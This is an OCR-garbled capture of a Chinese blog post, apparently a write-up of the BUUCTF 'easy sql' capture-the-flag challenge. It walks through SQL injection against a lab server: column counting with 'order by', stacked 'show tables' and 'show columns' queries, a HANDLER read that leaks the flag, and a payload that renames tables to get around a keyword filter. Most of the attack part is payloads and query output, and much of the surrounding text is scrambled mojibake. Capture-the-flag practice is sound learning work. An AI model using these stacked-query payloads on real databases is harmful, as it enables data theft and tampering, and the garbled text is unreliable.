BUU sql¥EA-[52MAF 2019] bt {7

Tvyyyyyy © F 2021-10-15 16:4446 KA @ 1244 4 V&3
4%EH:  BUUCTE writewp SCEARS:  sql web%4:
FRAL A B . AN ERAICE, B8 CC 4.0 BY-SA RRAUMY, #HHRIEMR EECHA8EEMA B,

A B httpsy/blog.csdn.net/Ivyyyyyyl/article/details/120784950
WAL

ESR BUUCTF writeup TR E Z AR

10 /& 3CE 03T
ITREE

—. B@H

R ERFE

BRI 2010IPE(EE

1
PR

BIER
FAATE): 101895

http://462e8064-fee1-4b91-bé0a-
9b34ce574b77 .noded.buuoj.cn:81

Cwsen | enen Qo

Flag B

CEDN @1Tvyyyyyy


https://blog.csdn.net/Ivyyyyyy1
https://blog.csdn.net/ivyyyyyy1/category_11414205.html
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Ivyyyyyy1/article/details/120784950
https://blog.csdn.net/ivyyyyyy1/category_11414205.html

+ Vo=

W BUUCTFLESSIT X @ easy sql % @ vyyyyyy1es@E tuyyyyyy CS0 %

& C A FFE | 46ae8064-fee1-4b91-b60a-9b34ce574b77.noded. buuoj.cn:81/?inject=1 T R 2
(9 mme® (- o A Burp Suiteiints.. [ #Hof(lsd o204 » [E EmEs

WA W EE @ YouTube W lvyyyyyyy (@lvyyy.. B BUUCTFIEREM @ CTFHub & w3school FEL#IE
W FRREEKIRSE, Rii—0i&: ARNZER—FH
O —

array(2) {

string (T} “hahahah”
}
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error 1064 : You have an error in your SO0L syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ~'1'77 at line 1
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Zh- | 1" order by 2# | 18238

array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”
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ZH | 1" order by 3# | 123F

error 1054 : Unknown column * 3 in order clause’
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ZHh | 1' union select 1,24 | ’@

return prez_match{”/select |update|delete|drop |insert [where |\, /17, $inject):
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return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
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1';show tables;#



ZH | 1' :show tables# | o

array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”

array(1) |
[o]=>
string (16) "1919810931114514"

array(1) |
[o]=>

string (5) “words”
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ﬁ?ﬁ," | 1":show columns from "1 91$| 2

array(2) |
[o]=>
string(1) “17
[1]=>
string(7) “hahahah”

array(6) |
[o]=>
string(4) “flag”
[1]=>
string(12) “varchar (100)"
[2]=>
string(2) "NO”

[8]=>
string(0) “*
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1';handler "1919810931114514° open;handler ~1919810931114514° read first;#



% [ 1" handler 1919810931114: | {&3F

array(2) |
[o]=>
string (1) “17
[1]=>
string (7) “hahahah”

array(1) |

[o]=>

string(42) "flag [f7177420-f320-4805-860f-2030ebdef0dd} *
}
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1. % 2 F K Fwordsi £ Hwords1
2. %£1919810931114514 % 4% ~Nwords
3. K Fr 1R words H [ Filflagei mid

¥ payload

1';RENAME TABLE “words™ TO “wordsl” ;RENAME TABLE "1919810931114514° TO "words ;ALTER TABLE “words™ CHANGE °
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2. FENKEBUET: B EE R N ->HME N5 A ->order by 2 %1 $->show databases?r EE->show tables?r -
>show columns from TABLE_NAME# 7 Bt ->selectzihandlerF 3 14

3. ZEAREKILE! ! !
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